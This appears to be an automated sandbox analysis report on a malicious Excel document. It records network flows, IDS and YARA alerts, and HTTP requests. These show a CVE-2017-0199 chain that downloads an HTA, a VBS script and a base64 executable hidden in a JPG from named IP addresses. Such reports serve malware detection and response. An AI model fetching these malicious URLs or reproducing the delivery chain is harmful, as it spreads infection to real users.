Source: global traffic TCP traffic: 192.168.2.22:49167 -> 192.185.89.92:80
Source: global traffic TCP traffic: 192.185.89.92:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 192.185.89.92:80
Source: global traffic TCP traffic: 192.168.2.22:49169 -> 198.46.178.144:80
Source: global traffic TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49169
Source: global traffic TCP traffic: 192.168.2.22:49169 -> 198.46.178.144:80
Source: global traffic TCP traffic: 192.168.2.22:49169 -> 198.46.178.144:80
Source: global traffic TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49169
Source: global traffic TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49169
Source: global traffic TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49169
Source: global traffic TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49169
Source: global traffic TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49169
Source: global traffic TCP traffic: 192.168.2.22:49169 -> 198.46.178.144:80
Source: global traffic TCP traffic: 192.168.2.22:49169 -> 198.46.178.144:80
Source: global traffic TCP traffic: 192.168.2.22:49170 -> 94.156.65.247:80
Source: global traffic TCP traffic: 94.156.65.247:80 -> 192.168.2.22:49170
Source: global traffic TCP traffic: 192.168.2.22:49170 -> 94.156.65.247:80
Source: global traffic TCP traffic: 192.168.2.22:49170 -> 94.156.65.247:80
Source: global traffic TCP traffic: 94.156.65.247:80 -> 192.168.2.22:49170
Source: global traffic TCP traffic: 94.156.65.247:80 -> 192.168.2.22:49170
Source: global traffic TCP traffic: 94.156.65.247:80 -> 192.168.2.22:49170
Source: global traffic TCP traffic: 192.168.2.22:49170 -> 94.156.65.247:80
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 91.92.254.194:80
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 91.92.254.194:80
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 91.92.254.194:80
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 91.92.254.194:80
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 91.92.254.194:80
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 91.92.254.194:80
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 91.92.254.194:80
Source: global traffic TCP traffic: 192.168.2.22:49169 -> 198.46.178.144:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 91.92.254.194:80
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 91.92.254.194:80
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 91.92.254.194:80
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49171

Networking
barindex
Snort IDS alert for network traffic
Source: Traffic Snort IDS: 2024449 ET CURRENT_EVENTS SUSPICIOUS Possible CVE-2017-0199 IE7/NoCookie/Referer HTA dl 192.168.2.22:49166 -> 198.46.178.144:80
Source: Traffic Snort IDS: 2024449 ET CURRENT_EVENTS SUSPICIOUS Possible CVE-2017-0199 IE7/NoCookie/Referer HTA dl 192.168.2.22:49168 -> 198.46.178.144:80
Source: Traffic Snort IDS: 2047750 ET TROJAN Base64 Encoded MZ In Image 91.92.254.194:80 -> 192.168.2.22:49171
Source: Traffic Snort IDS: 2018856 ET TROJAN Windows executable base64 encoded 91.92.254.194:80 -> 192.168.2.22:49171
Source: Traffic Snort IDS: 2049038 ET TROJAN Malicious Base64 Encoded Payload In Image 91.92.254.194:80 -> 192.168.2.22:49171
Source: Traffic Snort IDS: 2020424 ET CURRENT_EVENTS Unknown EK Landing Feb 16 2015 b64 2 M1 198.46.178.144:80 -> 192.168.2.22:49172
System process connects to network (likely due to code injection or exploit)
Source: C:\Windows\System32\wscript.exe Network Connect: 94.156.65.247 80 Jump to behavior
Yara detected Generic Downloader
Source: Yara match File source: 14.2.AddInProcess32.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 12.2.powershell.exe.12778558.2.raw.unpack, type: UNPACKEDPE
HTTP GET or POST without a user agent
Source: global traffic HTTP traffic detected: GET /imge/new-image_v.jpg HTTP/1.1Host: 91.92.254.194Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /madamwebbbbbbbas6444.txt HTTP/1.1Host: 198.46.178.144Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive
IP address seen in connection with other malware
Source: Joe Sandbox View IP Address: 192.185.89.92 192.185.89.92
Source: Joe Sandbox View IP Address: 208.95.112.1 208.95.112.1
Internet Provider seen in connection with other malware
Source: Joe Sandbox View ASN Name: TUT-ASUS TUT-ASUS
Source: Joe Sandbox View ASN Name: AS-COLOCROSSINGUS AS-COLOCROSSINGUS
Source: Joe Sandbox View ASN Name: TERASYST-ASBG TERASYST-ASBG
Source: Joe Sandbox View ASN Name: THEZONEBG THEZONEBG
May check the online IP address of the machine
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe DNS query: name: ip-api.com
Uses a known web browser user agent for HTTP communication
Source: global traffic HTTP traffic detected: GET /ppltL HTTP/1.1Accept: */*UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: hop.fyiConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /EvengIEcache.hta HTTP/1.1Accept: */*UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 198.46.178.144Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /ppltL HTTP/1.1Accept: */*Accept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: hop.fyiConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /EvengIEcache.hta HTTP/1.1Accept: */*Accept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Range: bytes=8983-Connection: Keep-AliveHost: 198.46.178.144If-Range: "d0282dd4eccda1:0"
Source: global traffic HTTP traffic detected: GET /eveningfiledatinglover.vbs HTTP/1.1Accept: */*UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 198.46.178.144Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /Users_API/negrocock/file_mq5uppna.ldt.txt HTTP/1.1Connection: Keep-AliveAccept: */*Accept-Language: en-USUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: 94.156.65.247
Source: unknown TCP traffic detected without corresponding DNS query: 198.46.178.144
Source: unknown TCP traffic detected without corresponding DNS query: 198.46.178.144
Source: unknown TCP traffic detected without corresponding DNS query: 198.46.178.144
Source: unknown TCP traffic detected without corresponding DNS query: 198.46.178.144
Source: unknown TCP traffic detected without corresponding DNS query: 198.46.178.144
Source: unknown TCP traffic detected without corresponding DNS query: 198.46.178.144
Source: unknown TCP traffic detected without corresponding DNS query: 198.46.178.144
Source: unknown TCP traffic detected without corresponding DNS query: 198.46.178.144
Source: unknown TCP traffic detected without corresponding DNS query: 198.46.178.144
Source: unknown TCP traffic detected without corresponding DNS query: 198.46.178.144
Source: unknown TCP traffic detected without corresponding DNS query: 198.46.178.144
Source: unknown TCP traffic detected without corresponding DNS query: 198.46.178.144
Source: unknown TCP traffic detected without corresponding DNS query: 198.46.178.144
Source: unknown TCP traffic detected without corresponding DNS query: 198.46.178.144
Source: unknown TCP traffic detected without corresponding DNS query: 198.46.178.144
Source: unknown TCP traffic detected without corresponding DNS query: 198.46.178.144
Source: unknown TCP traffic detected without corresponding DNS query: 198.46.178.144
Source: unknown TCP traffic detected without corresponding DNS query: 198.46.178.144
Source: unknown TCP traffic detected without corresponding DNS query: 198.46.178.144
Source: unknown TCP traffic detected without corresponding DNS query: 198.46.178.144
Source: unknown TCP traffic detected without corresponding DNS query: 198.46.178.144
Source: unknown TCP traffic detected without corresponding DNS query: 198.46.178.144
Source: unknown TCP traffic detected without corresponding DNS query: 198.46.178.144
Source: unknown TCP traffic detected without corresponding DNS query: 198.46.178.144
Source: unknown TCP traffic detected without corresponding DNS query: 198.46.178.144
Source: unknown TCP traffic detected without corresponding DNS query: 198.46.178.144
Source: unknown TCP traffic detected without corresponding DNS query: 198.46.178.144
Source: unknown TCP traffic detected without corresponding DNS query: 198.46.178.144
Source: unknown TCP traffic detected without corresponding DNS query: 198.46.178.144
Source: unknown TCP traffic detected without corresponding DNS query: 198.46.178.144
Source: unknown TCP traffic detected without corresponding DNS query: 198.46.178.144
Source: unknown TCP traffic detected without corresponding DNS query: 198.46.178.144
Source: unknown TCP traffic detected without corresponding DNS query: 198.46.178.144
Source: unknown TCP traffic detected without corresponding DNS query: 198.46.178.144
Source: unknown TCP traffic detected without corresponding DNS query: 198.46.178.144
Source: unknown TCP traffic detected without corresponding DNS query: 198.46.178.144
Source: unknown TCP traffic detected without corresponding DNS query: 198.46.178.144
Source: unknown TCP traffic detected without corresponding DNS query: 198.46.178.144
Source: unknown TCP traffic detected without corresponding DNS query: 198.46.178.144
Source: unknown TCP traffic detected without corresponding DNS query: 198.46.178.144
Source: unknown TCP traffic detected without corresponding DNS query: 198.46.178.144
Source: unknown TCP traffic detected without corresponding DNS query: 198.46.178.144
Source: unknown TCP traffic detected without corresponding DNS query: 198.46.178.144
Source: unknown TCP traffic detected without corresponding DNS query: 198.46.178.144
Source: unknown TCP traffic detected without corresponding DNS query: 198.46.178.144
Source: unknown TCP traffic detected without corresponding DNS query: 198.46.178.144
Source: unknown TCP traffic detected without corresponding DNS query: 198.46.178.144
Source: unknown TCP traffic detected without corresponding DNS query: 198.46.178.144
Source: unknown TCP traffic detected without corresponding DNS query: 198.46.178.144
Source: unknown TCP traffic detected without corresponding DNS query: 198.46.178.144
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 7_2_000007FE899E7018 URLDownloadToFileW, 7_2_000007FE899E7018
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\D2E31577.emf Jump to behavior
Source: global traffic HTTP traffic detected: GET /ppltL HTTP/1.1Accept: */*UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: hop.fyiConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /EvengIEcache.hta HTTP/1.1Accept: */*UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 198.46.178.144Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /ppltL HTTP/1.1Accept: */*Accept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: hop.fyiConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /EvengIEcache.hta HTTP/1.1Accept: */*Accept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Range: bytes=8983-Connection: Keep-AliveHost: 198.46.178.144If-Range: "d0282dd4eccda1:0"
Source: global traffic HTTP traffic detected: GET /eveningfiledatinglover.vbs HTTP/1.1Accept: */*UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 198.46.178.144Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /Users_API/negrocock/file_mq5uppna.ldt.txt HTTP/1.1Connection: Keep-AliveAccept: */*Accept-Language: en-USUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: 94.156.65.247
Source: global traffic HTTP traffic detected: GET /imge/new-image_v.jpg HTTP/1.1Host: 91.92.254.194Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /madamwebbbbbbbas6444.txt HTTP/1.1Host: 198.46.178.144Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive
Source: powershell.exe, 00000007.00000002.490786833.000000001C2DA000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: www.login.yahoo.com0 equals www.yahoo.com (Yahoo)
Source: global traffic DNS traffic detected: DNS query: hop.fyi
Source: global traffic DNS traffic detected: DNS query: ip-api.com
Source: powershell.exe, 0000000C.00000002.504336170.0000000002713000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://198.46.178.144
Source: mshta.exe, 00000004.00000002.466473179.00000000003BF000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.466473179.000000000034E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://198.46.178.144/EvengIEcache.hta
Source: mshta.exe, 00000004.00000003.464522889.00000000003BF000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.466473179.00000000003BF000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://198.46.178.144/EvengIEcache.hta...
Source: mshta.exe, 00000004.00000003.464522889.00000000003BF000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.466473179.00000000003BF000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://198.46.178.144/EvengIEcache.hta...e
Source: mshta.exe, 00000004.00000003.464522889.00000000003BF000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://198.46.178.144/EvengIEcache.hta/
Source: mshta.exe, 00000004.00000003.464522889.00000000003BF000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.466473179.00000000003BF000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://198.46.178.144/EvengIEcache.hta6o
Source: mshta.exe, 00000004.00000002.466473179.00000000003F8000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.464522889.00000000003FC000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://198.46.178.144/EvengIEcache.htaC:
